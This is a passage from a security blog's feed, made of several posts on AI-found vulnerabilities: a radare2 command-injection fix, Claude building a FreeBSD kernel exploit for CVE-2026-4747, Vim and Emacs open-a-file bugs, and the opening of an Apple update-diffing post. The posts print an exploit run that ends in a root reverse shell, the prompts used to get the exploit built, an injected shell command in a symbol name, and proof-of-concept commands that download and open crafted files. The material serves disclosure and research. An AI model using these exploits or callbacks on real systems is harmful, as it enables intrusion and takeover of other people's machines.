+&#9;pdb-&gt;cb_printf (&#8221;\&#8221;fN pdb.%s %s\&#8221;\n&#8221;, filtered_name, safe_name);
+&#9;free (safe_name);</code></pre></div><p>With that patch applied, the output of <code>idpi*</code> would be:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">[0x140001000]&gt; idpi*
f pdb.x____open__a_Calculator_ = 0x140001000 # 0 .text
&#8220;fN pdb.x____open__a_Calculator_ x____open__a_Calculator_&#8221;</code></pre></div><p>However, this also strips special characters from legitimate function names, such as <code>std::ostream::operator&lt;&lt;(std::ostream&amp; (*)(std::ostream&amp;))</code>:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">[0x140001440]&gt; idpi*
f pdb.std::ostream::operator___std::ostream____std::ostream__ = 0x1400014c0 # 0 .text
&#8220;fN pdb.std::ostream::operator___std::ostream____std::ostream__ std::ostream::operator___std::ostream____std::ostream__&#8221;</code></pre></div><p>Thus, I got Claude to reconsider:</p><blockquote><p><strong>Me:</strong> What is the intent of the fN command and does the fix affect its intend       behavior?</p><p><strong>Me:</strong> This is a critical problem. if we sanitize the real name, then this is useless. How can we properly address it?</p></blockquote><p>Claude came back with a clean solution: base64-encode the raw name before interpolation.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">Here's what I found. There are two viable approaches:

Option 1: Add base64: support to fN (matches existing pattern)

The flag system already uses base64 in several places:
- fC (flag comment) accepts base64: prefix and decodes it at
cmd_flag.inc.c:2085
- fu serializes realname as base64 at line 1536, and decodes it back at line
1517

But fN itself (line 2163) does not support the base64: prefix &#8212; it takes the
raw string directly via strchr(name, ' ') and passes it straight to
r_flag_item_set_realname.

The fix would be two-sided:

1. Emit side (print_gvars): base64-encode the raw name
2. Receive side (fN handler): detect and decode base64: prefix

This is the cleanest approach because it completely avoids the parsing problem
&#8212; base64 output contains only [A-Za-z0-9+/=], which has zero overlap with r2
metacharacters.</code></pre></div><p>Satisfied with the approach, I opened a <a href="https://github.com/radareorg/radare2/pull/25731">PR with Claude&#8217;s changes</a> and waited for the maintainers to respond.</p><h2>Resolution</h2><p>About an hour later, a maintainer pointed out that the vulnerability could be fixed more simply &#8212; by prefixing the <code>fN</code> command with a single quote (<code>&#8217;</code>), which disables special character processing in r2.</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:null}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext"># Safe - no calc popped
&#8216;fN pdb.x____open__a_Calculator_ x;!open -a Calculator #</code></pre></div><p>Nonetheless, they recognized it as a real and critical vulnerability, and agreed that the base64 prefix was a worthwhile addition.</p><p>The PR was <a href="https://github.com/radareorg/radare2/commit/0e38152560e689327a74d2944fa45ba7afd4cb33">merged</a>, and string sanitization was <a href="https://github.com/radareorg/radare2/commit/253587680e000266e94cbf98c27a17ada4cd29e9">further enhanced</a> in a follow-up commit &#8212; likely part of a broader effort to address the spate of recent command injection vulnerabilities.</p><h2>Conclusion</h2><p>We are now in an era where AI can rapidly discover and exploit bugs in large, complex open-source projects. Constructing a valid PDB file would have taken me at least a few hours manually. Claude did it in under 30 minutes.</p><p>That said, finding bugs is the easy part. Claude just needs to identify a possible injection site, trace how to reach it, and develop a PoC it can verify and iterate on.</p><p>Patching is harder. It requires a much deeper understanding of the project, not just where the vulnerability occurs, but why the surrounding code is designed the way it is. In this case, Claude&#8217;s first patch was technically correct but semantically wrong: it fixed the injection without understanding what fN was actually for. It took explicit pushback to get to a solution that was both safe and useful.</p><p>That dynamic is worth keeping in mind. AI-assisted vulnerability research compresses the timeline dramatically, but the human still has to understand the system well enough to know when a fix is incomplete. The bottleneck has shifted, from finding bugs to understanding them well enough to fix them properly.</p><p>&#8212;junrong</p>]]></content:encoded></item><item><title><![CDATA[MAD Bugs: Claude Wrote a Full FreeBSD Remote Kernel RCE with Root Shell (CVE-2026-4747)]]></title><description><![CDATA[To our knowledge, this is the first remote kernel exploit both discovered and exploited by an AI.]]></description><link>https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd</link><guid isPermaLink="false">https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd</guid><dc:creator><![CDATA[Calif]]></dc:creator><pubDate>Tue, 31 Mar 2026 17:35:54 GMT</pubDate><content:encoded><![CDATA[<p><strong>Timeline:</strong></p><ul><li><p><strong>2026-03-26:</strong> FreeBSD published an advisory for <a href="https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc">CVE-2026-4747, crediting &#8220;Nicholas Carlini using Claude, Anthropic&#8221;</a> for a remote kernel code execution.</p></li><li><p><strong>9:45AM PDT 2026-03-29:</strong> We asked Claude to develop an exploit.</p></li><li><p><strong>5:00PM PDT 2026-03-29:</strong> Claude delivered a working exploit that drops a root shell.</p></li></ul><p><strong>Total time: ~8 hours wall clock. The human was AFK for much of it; Claude&#8217;s actual working time was ~4 hours.</strong></p><p>Claude actually wrote two exploits using two different strategies. Both worked on the first try. Here&#8217;s what it looks like:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;bash&quot;,&quot;nodeId&quot;:&quot;7b98d5b0-d670-481a-8a58-04c891e82ff1&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-bash">python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow &#8594; ROP &#8594; shellcode &#8594; uid 0 reverse shell
==============================================================

  [*] Starting listener on 0.0.0.0:4444...
  [*] Starting listener on 0.0.0.0:4444...

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/freebsd-vuln@TEST.LOCAL

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15] pmap_change_prot(BSS, 0x2000, RWX)
  [+] BSS is now RWX

  [R2/15] write (4 qwords &#8594; 0xffffffff8198a800) &#10003;
  [R3/15] write (4 qwords &#8594; 0xffffffff8198a820) &#10003;
  [R4/15] write (4 qwords &#8594; 0xffffffff8198a840) &#10003;
  [R5/15] write (4 qwords &#8594; 0xffffffff8198a860) &#10003;
  [R6/15] write (4 qwords &#8594; 0xffffffff8198a880) &#10003;
  [R7/15] write (4 qwords &#8594; 0xffffffff8198a8a0) &#10003;
  [R8/15] write (4 qwords &#8594; 0xffffffff8198a8c0) &#10003;
  [R9/15] write (4 qwords &#8594; 0xffffffff8198a8e0) &#10003;
  [R10/15] write (4 qwords &#8594; 0xffffffff8198a900) &#10003;
  [R11/15] write (4 qwords &#8594; 0xffffffff8198a920) &#10003;
  [R12/15] write (4 qwords &#8594; 0xffffffff8198a940) &#10003;
  [R13/15] write (4 qwords &#8594; 0xffffffff8198a960) &#10003;
  [R14/15] write (4 qwords &#8594; 0xffffffff8198a980) &#10003;
  [R15/15] write + EXECUTE (2 qwords &#8594; 0xffffffff8198a9a0) &#8594; JUMP 0xffffffff8198a800

  [*] Shellcode delivered and executing.
  [*] kproc_create &#8594; kern_execve('/bin/sh -c ...')
  [*] Reverse shell &#8594; 10.0.2.2:4444

  [*] Waiting for reverse shell...
  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id                  
uid=0(root) gid=0(wheel) groups=0(wheel)</code></pre></div><p>Check out the full <a href="https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/exploit.py">exploit</a> and the <a href="https://github.com/califio/publications/blob/main/MADBugs/CVE-2026-4747/write-up.md">write-up</a>. Claude wrote everything itself. Here are the prompts we used (excuse the typos):</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;9bb70303-88ec-43f5-bfcd-a4d2589c6cc0&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">1. https://www.freebsd.org/security/advisories/FreeBSD-SA-26:08.rpcsec_gss.asc we want to setup a test env for this vulnerability using docker preferably so the docker files can be copied later for easy repro. password for this vm is x , you should setup a vulnerable version of FreeBSD the latest it mentions and then trigger the vulnerability
2. we want to use docker for this not qemu if possible.. we should still be able to connect and debug it the same i assume
3. why does it need to be QEMU and not docker for this to be a real exploit?
4. no just use QEMU then
5. okay now can you maybe generate an entire RCE exploit for this image ?
6. wait what are you compiling? arent we testing it inside of the Fbsd VM using the actual FBSD module as described in the advisory ?
7. i mean why wouldnt you just install a vulnerable version as mentioned in the advisory
8. okay contoninue to trigger this vuln.
9. what old qemu did you kill? we are using qemu in another session as well. do not kill that Linux qemu.
10. why is it running on 2222 2049 and 1111
11. okay now what about getting RCE.
12. tere is no kaslr so it should be easy
13. install ropgadget or what ever you need ... idk
14. no we dont want to reboot? we want a reverse shell as uid 0 if possible ?
15. okay in ../FBSD-001 there is a different remote exploit that gets a shell.. read it for how they constructed the connect back as uid 0 maybe
16. is the ucred write even needed if the proc is uid0 ? and why dont we get a shell ? or can we demon strait somehow a unpriv non root user that elevates to root? but we still want a shell.. as uid0
17. from a remote context aka the exploit should be executed from outside the vm
18. no just continue to get the remote version working. use gdb and hat ever tools you need.
19. you should do this step by step - for the remote version foucs on triggering then getting PC control then the rop.
20. you need to keep notes of our current status and what you have done to get here. thanks.
21. you should verify everything with gdb if you need etc.
22. 1. Pure ROP &#8212; no shellcode needed, but we're stuck on rax&#8594;rdi transfer (no gadget exists in this kernel) how are ou searching for rop gadgets?
23. why do we need kdc ?
24. nope that wont work as we cant do that from a remote exploit context without having accss to the shell
25. dont think we can prestage a /tmp/x ..
26. working means a connectback shell as uid0
27. when you get it workng i want a complete writeup of th evuln, the exploit methodology, the ropchain, the overflow, and how to install and setup a vuln target
for testing
28. i want a shell.
29. wait what do you mean increase nfs threadcount i guess we should use defaults here..
30. no just continue to get the remote version working. use gdb and hat ever tools you need.
31. make the writeup better explaining each step of the exploit and why
32. also # SSH tunnel for Kerberos KDC sshpass -p freebsd ssh -L 8888:127.0.0.1:88 -N -f -p 2222 root@127.0.0.1 is it possible to do without an ssh tunnel ?
33. can you do the forward nstead of ssh tunnel then test the exploit again
34. /tmp/final_exploit hardly looks like the final exploit ...
35. why dont you make a nicer exploit where you can supply a target and cb ip ... and do everything inline in that exploit
36. the rop / shellcode everything ..
37. the writeup feels kind of bare, explain the shellcode as if the reader has never seen FBSD001 also what do you mean the "bruteforce" version?
38. also retest and verify it works
39. update the writeup to tell how to also setup a vulnerable target using vmware for example without a KDC tunnel
40. how can i boot the qemu and test it
41. why is KDC required? and nfsd ?
42. okay you noted this stuff in the writeup?
43. do you have the prompt log ? i want to see the original prompt for this
44. can you give me back all the prompts i entered in this session</code></pre></div><h2>What Claude Accomplished</h2><p>Going from a vulnerability advisory to a working remote root shell required Claude to solve six distinct problems. It&#8217;s worth noting that FreeBSD made this easier than it would be on a modern Linux kernel: FreeBSD 14.x has no KASLR (kernel addresses are fixed and predictable) and no stack canaries for integer arrays (the overflowed buffer is <code>int32_t[]</code>).</p><ol><li><p><strong>Lab setup</strong>: Stand up a FreeBSD VM with NFS, Kerberos, and the vulnerable kernel module, all configured so the overflow is reachable over the network. Claude knew the VM needed 2+ CPUs because FreeBSD spawns 8 NFS threads per CPU, and the exploit kills one thread per round. This included setting up remote debugging so Claude could read kernel crash dumps.</p></li><li><p><strong>Multi-packet delivery</strong>: The shellcode doesn&#8217;t fit in one packet. Claude devised a 15-round strategy: make kernel memory executable, then write shellcode 32 bytes at a time across 14 packets. In another exploit privately shared with us, Claude used a different strategy: writing a public key to <code>.ssh/authorized_keys</code> instead of a reverse shell, which shortened the exploit to 6 rounds.</p></li><li><p><strong>Clean thread exit</strong>: Each overflow hijacks an NFS kernel thread. Claude used kthread_exit() to terminate each thread cleanly, keeping the server alive for the next round.</p></li><li><p><strong>Offset debugging</strong>: The initial stack offsets from disassembly were wrong. Claude sent De Bruijn patterns (a common technique, but a term we hadn't heard of before reading the writeup), read the crash dumps, and corrected the offsets.</p></li><li><p><strong>Kernel-to-userland transition</strong>: NFS threads can&#8217;t run userland programs. Claude created a new process via <code>kproc_create()</code>, used <code>kern_execve()</code> to replace it with <code>/bin/sh</code>, and cleared the <code>P_KPROC</code> flag so the process could transition to user mode.</p></li><li><p><strong>Hardware breakpoint bug</strong>: The child process kept crashing with a debug exception. Claude traced this to stale debug registers inherited from DDB and fixed it by clearing DR7 before forking.</p></li></ol><h1>Conclusion</h1><p>Computers have always been able to find bugs in software. Fuzzers like AFL and syzkaller have been discovering kernel vulnerabilities for over a decade. But finding a bug and exploiting it are very different things. Exploit development requires understanding OS internals, crafting ROP chains, managing memory layouts, debugging crashes, and adapting when things go wrong. This has long been considered the frontier that only humans can cross.</p><p>Each new AI capability is usually met with &#8220;AI can do Y, but only humans can do X.&#8221; Well, for X = exploit development, that line just moved.</p>]]></content:encoded></item><item><title><![CDATA[MAD Bugs: vim vs emacs vs Claude]]></title><description><![CDATA[We asked Claude to find a bug in Vim. It found an RCE. Just open a file, and you&#8217;re owned. We joked: fine, we&#8217;ll switch to Emacs. Then Claude found an RCE there too.]]></description><link>https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude</link><guid isPermaLink="false">https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude</guid><dc:creator><![CDATA[Calif]]></dc:creator><pubDate>Mon, 30 Mar 2026 20:33:53 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!IDy_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It started like this:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!IDy_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!IDy_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png 424w, https://substackcdn.com/image/fetch/$s_!IDy_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png 848w, https://substackcdn.com/image/fetch/$s_!IDy_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png 1272w, https://substackcdn.com/image/fetch/$s_!IDy_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!IDy_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png" width="360" height="592.781954887218" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1314,&quot;width&quot;:798,&quot;resizeWidth&quot;:360,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!IDy_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png 424w, https://substackcdn.com/image/fetch/$s_!IDy_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png 848w, https://substackcdn.com/image/fetch/$s_!IDy_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png 1272w, https://substackcdn.com/image/fetch/$s_!IDy_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa219122f-e67e-46e4-b598-c7c6967fedce_798x1314.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>PoC:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;shell&quot;,&quot;nodeId&quot;:&quot;95957b4d-0b75-46c3-b062-46083e89fd45&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-shell">vim -version
# VIM - Vi IMproved 9.2 (2026 Feb 14, compiled Mar 25 2026 22:04:13)
wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
vim vim.md
cat /tmp/calif-vim-rce-poc</code></pre></div><p>Vim maintainers <a href="https://github.com/vim/vim/security/advisories/GHSA-2gmj-rpqf-pxvh">fixed</a> the issue immediately. Everybody is encouraged to upgrade to Vim v9.2.0272.</p><p>Full advisory can be found <a href="https://github.com/califio/publications/blob/main/MADBugs/vim-vs-emacs-vs-claude/vim.md">here</a>. <a href="https://github.com/califio/publications/blob/main/MADBugs/vim-vs-emacs-vs-claude/vim-claude-prompts.txt">The original prompt</a> was simple:</p><blockquote><p>Somebody told me there is an RCE 0-day when you open a file. Find it.</p></blockquote><p>This was already absurd. But the story didn&#8217;t end there:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!bU3_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!bU3_!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png 424w, https://substackcdn.com/image/fetch/$s_!bU3_!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png 848w, https://substackcdn.com/image/fetch/$s_!bU3_!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png 1272w, https://substackcdn.com/image/fetch/$s_!bU3_!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!bU3_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png" width="334" height="269.5438596491228" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:460,&quot;width&quot;:570,&quot;resizeWidth&quot;:334,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!bU3_!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png 424w, https://substackcdn.com/image/fetch/$s_!bU3_!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png 848w, https://substackcdn.com/image/fetch/$s_!bU3_!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png 1272w, https://substackcdn.com/image/fetch/$s_!bU3_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F704d8e1c-2d23-40d2-ac1c-e0e9111169e1_570x460.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>PoC:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;shell&quot;,&quot;nodeId&quot;:&quot;05969e29-896f-46d5-94f3-ed465313270d&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-shell">wget https://github.com/califio/publications/raw/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/emacs-poc.tgz
tar -xzpvf emacs-poc.tgz
emacs emacs-poc/a.txt
cat /tmp/pwned</code></pre></div><p>We immediately reported the bug to GNU Emacs maintainers. The maintainers declined to address the issue, attributing it to git.</p><p>Full advisory can be found <a href="https://github.com/califio/publications/blob/main/MADBugs/vim-vs-emacs-vs-claude/Emacs.md">here</a>. <a href="https://github.com/califio/publications/blob/main/MADBugs/vim-vs-emacs-vs-claude/emacs-claude-prompts.txt">The prompt</a> this time:</p><blockquote><p>I&#8217;ve heard a rumor that there are RCE 0-days when you open a txt file without any confirmation prompts.</p></blockquote><p>---</p><p>So how do you make sense of this?</p><p>How do we professional bug hunters make sense of this? This feels like the early 2000s. Back then a kid could hack anything, with SQL Injection. Now with Claude.</p><p>And friends, to celebrate this historic moment, we&#8217;re launching <em><a href="https://blog.calif.io/p/mad-bugs-month-of-ai-discovered-bugs">MAD Bugs: Month of AI-Discovered Bugs</a></em>. From now through the end of April, we&#8217;ll be publishing more bugs and exploits uncovered by AI. Watch this space, more fun stuff coming!</p>]]></content:encoded></item><item><title><![CDATA[Reverse engineering Apple’s silent security fixes]]></title><description><![CDATA[I grabbed the latest iOS update, and diffed it with ipsw. The diff reveals at least two security-relevant changes that were shipped quietly.]]></description><link>https://blog.calif.io/p/reverse-engineering-apples-silent</link><guid isPermaLink="false">https://blog.calif.io/p/reverse-engineering-apples-silent</guid><pubDate>Fri, 27 Mar 2026 06:43:50 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!j9FW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F25c011f1-a506-488d-a9be-ac2760081c12_1272x562.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Remember Rapid Security Responses (RSR)? Apple introduced RSR in macOS Ventura / iOS 16 to ship urgent security patches outside of full OS updates. It was used exactly once and <a href="https://mjtsai.com/blog/2025/09/23/rapid-security-responses-become-background-security-improvements/">broke websites</a> because parentheses in the User-Agent header confused half the Internet and was quietly shelved.</p><p>With iOS 26.1, iPadOS 26.1, and macOS 26.1, Apple replaced RSR with Background Security Improvements (BSI). The big change: BSI installs silently.</p><p>On March 17, 2026, Apple shipped four BSI updates across iOS, iPadOS, and macOS. </p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;71b38c3c-9acb-439e-b590-5c215ed1b47e&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">| Platform | Version    | Build      |
+----------+------------+------------+
| iOS      | 26.3.1 (a) | 23D771330a |
| iPadOS   | 26.3.1 (a) | 23D771330a |
| macOS    | 26.3.2 (a) | 25D771400a |
| macOS    | 26.3.1 (a) | 25D771280a |
+----------+------------+------------+</code></pre></div><p>I grabbed the iOS update, tore it apart with <a href="https://github.com/blacktop/ipsw">ipsw</a>, and diffed it against the base OS to see what actually changed.</p><p>This post walks through how BSI updates work under the hood. More importantly, it shows what Apple actually shipped: one publicly disclosed WebKit CVE, and at least two additional security-relevant changes that didn&#8217;t make it into the advisory.</p><h3>How BSI differs from RSR</h3><p>Both target the same thing: security patches for Safari, WebKit, and system libraries without a full OS update. Under the hood, both work by patching cryptexes. If you haven&#8217;t run into these before: Apple moved content eligible for rapid patching (Safari, WebKit, system libs) into sealed disk images on the preboot volume, split into system and app subtypes. When an update arrives, the device applies a binary diff to the relevant cryptex image, then asks Apple&#8217;s signing service for a new Cryptex1Image4 manifest. The main application processor (AP) boot ticket stays untouched. On restart, the kernel bootstraps the patched content with new measurements and trust caches. That&#8217;s why these updates work with minimal battery and no re-sealing; they&#8217;re patching a sidecar image, not the root filesystem. <a href="https://support.apple.com/guide/security/background-security-improvements-sec87fc038c2/web">Apple&#8217;s security docs</a> have the full picture.</p><p>The following table summarizes the changes between RSR and BSI:</p><div class="captioned-image-container"><figure><a class="image-link image2 